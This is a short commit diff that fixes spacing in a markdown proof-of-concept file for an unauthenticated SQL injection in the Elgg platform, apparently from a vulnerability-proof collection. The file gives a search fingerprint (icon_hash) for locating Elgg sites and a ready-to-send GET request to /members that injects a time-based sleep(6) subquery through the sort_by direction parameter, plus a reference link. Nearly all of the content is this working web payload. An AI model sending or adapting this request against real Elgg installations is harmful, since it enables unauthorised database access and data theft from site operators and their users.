fix

Elgg/elgg-sqli.md

@@ -4,13 +4,11 @@
 ```
 icon_hash="413602919"
 ```
-
 ## poc
 ```
-GET /members?sort_by%5Bproperty%5D=name&sort_by%5Bproperty_type%5D=metadata&sort_by%5Bdirection%5D=desc%2c(select*from(select(sleep(6)))a)HTTP/1.1
+GET /members?sort_by%5Bproperty%5D=name&sort_by%5Bproperty_type%5D=metadata&sort_by%5Bdirection%5D=desc%2c(select*from(select(sleep(6)))a) HTTP/1.1
 Host: 
 ```
 
 ## Ref
-
 - https://github.com/4rdr/proofs/blob/main/info/Elgg_unauth_SQLi_5.1.4.md